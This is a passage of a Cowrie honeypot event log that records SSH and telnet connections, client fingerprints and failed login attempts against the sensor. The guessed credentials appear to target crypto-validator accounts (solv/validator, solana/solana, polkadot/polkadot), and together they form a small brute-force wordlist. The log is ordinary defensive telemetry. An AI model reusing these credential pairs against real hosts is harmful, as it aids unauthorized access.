-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:03.411565Z","src_ip":"80.94.92.184","session":"1a37afbe9e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:04.780243Z","src_ip":"80.94.92.184","session":"1a37afbe9e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:06.210688Z","src_ip":"80.94.92.184","session":"1a37afbe9e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56952,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6be47a35e7","protocol":"ssh","message":"New connection: 92.118.39.92:56952 (159.203.135.109:22) [session: 3c6be47a35e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:51.634541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:51.639834Z","src_ip":"92.118.39.92","session":"3c6be47a35e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:51.757293Z","src_ip":"92.118.39.92","session":"3c6be47a35e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polkadot","password":"polkadot","message":"login attempt [polkadot/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:52.109157Z","src_ip":"92.118.39.92","session":"3c6be47a35e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:53.216659Z","src_ip":"92.118.39.92","session":"3c6be47a35e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50832,"dst_ip":"159.203.135.109","dst_port":22,"session":"58abbd233110","protocol":"ssh","message":"New connection: 2.57.122.208:50832 (159.203.135.109:22) [session: 58abbd233110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:15.551809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:15.693435Z","src_ip":"2.57.122.208","session":"58abbd233110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:15.697155Z","src_ip":"2.57.122.208","session":"58abbd233110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:16.526520Z","src_ip":"2.57.122.208","session":"58abbd233110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40882,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf266b15e5fc","protocol":"ssh","message":"New connection: 195.178.110.218:40882 (159.203.135.109:22) [session: cf266b15e5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:17.508836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:17.513466Z","src_ip":"195.178.110.218","session":"cf266b15e5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:17.590577Z","src_ip":"195.178.110.218","session":"cf266b15e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:17.632508Z","src_ip":"2.57.122.208","session":"58abbd233110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:17.827074Z","src_ip":"195.178.110.218","session":"cf266b15e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:26:18.904633Z","src_ip":"195.178.110.218","session":"cf266b15e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.27.119.253","src_port":59309,"dst_ip":"10.17.0.5","dst_port":23,"session":"349b709860e7","protocol":"telnet","message":"New connection: 183.27.119.253:59309 (10.17.0.5:23) [session: 349b709860e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:27:07.683567Z"}
{"eventid":"cowrie.session.closed","duration":13.442886352539062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:27:21.126314Z","src_ip":"183.27.119.253","session":"349b709860e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"c467e50a89f9","protocol":"ssh","message":"New connection: 124.128.221.98:45536 (159.203.135.109:22) [session: c467e50a89f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:27:59.249622Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:27:59.481723Z","src_ip":"124.128.221.98","session":"c467e50a89f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44168,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf74f5e820a","protocol":"ssh","message":"New connection: 92.118.39.92:44168 (159.203.135.109:22) [session: dbf74f5e820a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:01.059136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:01.063444Z","src_ip":"92.118.39.92","session":"dbf74f5e820a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:01.166790Z","src_ip":"92.118.39.92","session":"dbf74f5e820a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:01.478205Z","src_ip":"92.118.39.92","session":"dbf74f5e820a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:02.584422Z","src_ip":"92.118.39.92","session":"dbf74f5e820a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49908,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dfe4d882824","protocol":"ssh","message":"New connection: 80.94.92.184:49908 (10.17.0.5:22) [session: 5dfe4d882824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:24.908226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:24.948554Z","src_ip":"80.94.92.184","session":"5dfe4d882824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:25.111027Z","src_ip":"80.94.92.184","session":"5dfe4d882824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:25.891934Z","src_ip":"80.94.92.184","session":"5dfe4d882824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:28.405897Z","src_ip":"80.94.92.184","session":"5dfe4d882824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38080,"dst_ip":"159.203.135.109","dst_port":22,"session":"508d9b63ac98","protocol":"ssh","message":"New connection: 2.57.122.208:38080 (159.203.135.109:22) [session: 508d9b63ac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:32.116769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:32.157324Z","src_ip":"2.57.122.208","session":"508d9b63ac98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:32.293720Z","src_ip":"2.57.122.208","session":"508d9b63ac98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:33.018170Z","src_ip":"2.57.122.208","session":"508d9b63ac98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:34.125818Z","src_ip":"2.57.122.208","session":"508d9b63ac98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53646,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f87ae4dc10","protocol":"ssh","message":"New connection: 195.178.110.218:53646 (159.203.135.109:22) [session: 27f87ae4dc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:48.164360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:48.168518Z","src_ip":"195.178.110.218","session":"27f87ae4dc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:48.247793Z","src_ip":"195.178.110.218","session":"27f87ae4dc10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:48.485753Z","src_ip":"195.178.110.218","session":"27f87ae4dc10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:28:49.566055Z","src_ip":"195.178.110.218","session":"27f87ae4dc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59602,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c8dfbb49619","protocol":"ssh","message":"New connection: 92.118.39.92:59602 (159.203.135.109:22) [session: 1c8dfbb49619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:09.618115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:09.622857Z","src_ip":"92.118.39.92","session":"1c8dfbb49619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes12